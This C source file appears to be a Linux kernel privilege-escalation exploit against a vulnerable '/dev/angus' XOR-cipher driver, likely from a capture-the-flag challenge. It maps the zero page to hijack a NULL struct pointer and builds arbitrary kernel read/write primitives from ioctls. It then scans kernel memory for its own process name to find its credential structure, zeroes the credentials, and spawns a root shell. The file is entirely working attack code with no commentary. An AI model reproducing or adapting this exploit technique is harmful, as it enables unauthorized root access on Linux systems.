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| #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#define CMD_INIT 0x13370001
#define CMD_SETKEY 0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
typedef struct {
char *ptr;
size_t len;
} request_t;
int fd;
XorCipher *nullptr = NULL;
int angus_init ( void ) {
request_t req = { NULL };
return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey ( char *key, size_t keylen) {
request_t req = { .ptr = key, .len = keylen };
return ioctl(fd, CMD_SETKEY, &req);
}
int angus_setdata ( char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl (fd, CMD_SETDATA, &req);
}
int angus_getdata ( char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl(fd, CMD_GETDATA, &req);
}
int angus_decrypt () {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req) ;
}
int angus_encrypt() {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req) ;
}
void errorinfo(char *s) {
puts(s);
exit(1);
}
int AAR ( char *dst, char *src, size_t len) {
nullptr->data = src;
nullptr->datalen = len;
return angus_getdata(dst, len);
}
void AAW ( char *dst, char *src, size_t len) {
char *temp = (char*)malloc(len);
AAR(temp, dst, len);
for (int i = 0; i < len; i++) {
temp[i] ^= src[i];
}
nullptr->data = dst;
nullptr->datalen = len;
nullptr->key = temp;
nullptr->keylen = len;
angus_encrypt();
free(temp);
}
int main() {
fd = open("/dev/angus", O_RDWR);
if (fd < 0) {
errorinfo("open failed!");
}
if (mmap(0, 0x10000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1 , 0 ) != NULL)
errorinfo("mmap faile1!");
prctl(PR_SET_NAME, "triplej");
size_t addr;
size_t stride = 0x1000000;
char *needle, *buf = malloc(stride);
if (!buf) {
errorinfo("malloc failed!");
}
for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) {
if (addr % 0x10000000000 == 0)
printf("[*] Searching 0x%016lx...\n", addr);
if (AAR(buf, (char*)addr, stride) != 0)
continue;
if (needle = memmem(buf, stride, "triplej", 7)) {
addr += (needle - buf);
printf("[+] Found comm: 0x%016lx\n", addr);
break;
}
}
if (addr == 0xffffc88000000000) {
puts("[-] Not found");
exit(1);
}
size_t addr_cred;
printf("[+] addr :0x%016lx\n",addr);
AAR((char*)&addr_cred,(char*)(addr-8),8);
printf("[+] cred: 0x%016lx\n", addr_cred);
AAR((char*)&addr_cred,(char*)(addr-16),8);
printf("[+] cred: 0x%016lx\n", addr_cred);
char rootcred[0x20]={0};
AAW((char*)(addr_cred+4),rootcred,0x20);
system("/bin/sh");
return 0;
}
|
